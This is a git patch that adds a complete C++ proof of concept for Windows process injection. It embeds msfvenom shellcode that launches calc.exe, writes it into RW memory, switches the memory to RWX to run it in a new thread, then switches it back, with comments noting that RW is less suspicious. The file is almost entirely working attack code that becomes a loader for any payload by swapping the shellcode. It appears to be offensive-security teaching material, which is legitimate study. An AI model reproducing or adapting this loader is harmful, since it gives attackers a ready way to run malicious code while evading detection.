From 97c2fb8533eb514f4fca6e530a686eaeb0327cda Mon Sep 17 00:00:00 2001
From: toneillcodes <148013535+toneillcodes@users.noreply.github.com>
Date: Fri, 15 Aug 2025 21:10:52 -0400
Subject: [PATCH] Create injection-example-2.cpp

---
 injection-example-2.cpp | 105 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 105 insertions(+)
 create mode 100644 injection-example-2.cpp

diff --git a/injection-example-2.cpp b/injection-example-2.cpp
new file mode 100644
index 0000000..fc910f3
--- /dev/null
+++ b/injection-example-2.cpp
@@ -0,0 +1,105 @@
+/*
+* Process injection example 2: injecting calc.exe msfvenom shellcode into the running process, toggling the memory protection between RW and RWX
+* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
+* compile: cl.exe injection-example-2.cpp
+*/
+#include <windows.h>
+#include <stdio.h>
+
+int main() {
+  unsigned char buf[] =
+    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
+    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
+    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
+    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
+    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
+    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
+    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
+    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
+    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
+    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
+    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
+    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
+    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
+    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
+    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
+    "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
+    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
+    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
+    "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
+
+  // Retrieve the current process ID
+  DWORD pId = 0;
+  pId = GetCurrentProcessId();
+  if(pId == 0) {
+      printf("[ERROR] Failed to obtain current process ID!\n");
+      return -1;
+  }
+  
+  printf("[*] Running PI with target PID: %u\n", pId);
+  
+  // Open a handle to the current process, this must be passed to VirtualAllocEx
+  HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pId));
+  if(pHandle == NULL) {
+      printf("Failed to acquire process handle!\n");
+      return -1;
+  }
+  
+  printf("[*] Successfully opened handle to PID: %u\n", pId);
+  
+  // Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious
+  LPVOID bufferAddress = VirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
+  if (bufferAddress == NULL) {
+      printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pId, GetLastError());
+      return -1;
+  }
+  
+  printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress);
+  
+  // Write the shellcode to the block of memory that we allocated with VirtualAllocEx
+  BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL);
+  if(writeShellcode == false) {
+      printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
+      VirtualFree(bufferAddress, 0, MEM_RELEASE);
+      return -1;
+  }
+  
+  // Update the memory protection value from RW to RWX
+  DWORD lpOldProtect = NULL;
+  BOOL updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
+  if(updateMemoryProtection == false) {
+      printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
+      VirtualFree(bufferAddress, 0, MEM_RELEASE);
+      return -1;
+  }
+
+  // Create a new thread using the shellcode buffer address as the starting point
+  HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
+  if (tHandle == NULL) {
+      printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pId, GetLastError());
+      VirtualFree(bufferAddress, 0, MEM_RELEASE);
+      return -1;
+  }
+
+  // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
+  printf("[*] Waiting for the thread to return...\n");
+  WaitForSingleObject(tHandle, INFINITE);
+
+  // Update the memory protection value from RWX to RW
+  updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
+  if(updateMemoryProtection == false) {
+      printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
+      VirtualFree(bufferAddress, 0, MEM_RELEASE);
+      return -1;
+  }
+  
+  // Clean up open handles and free the shellcode buffer memory
+  CloseHandle(pHandle);
+  CloseHandle(tHandle);
+  VirtualFree(bufferAddress, 0, MEM_RELEASE);
+
+  printf("[*] Process injection complete.\n");
+
+  return 0;
+}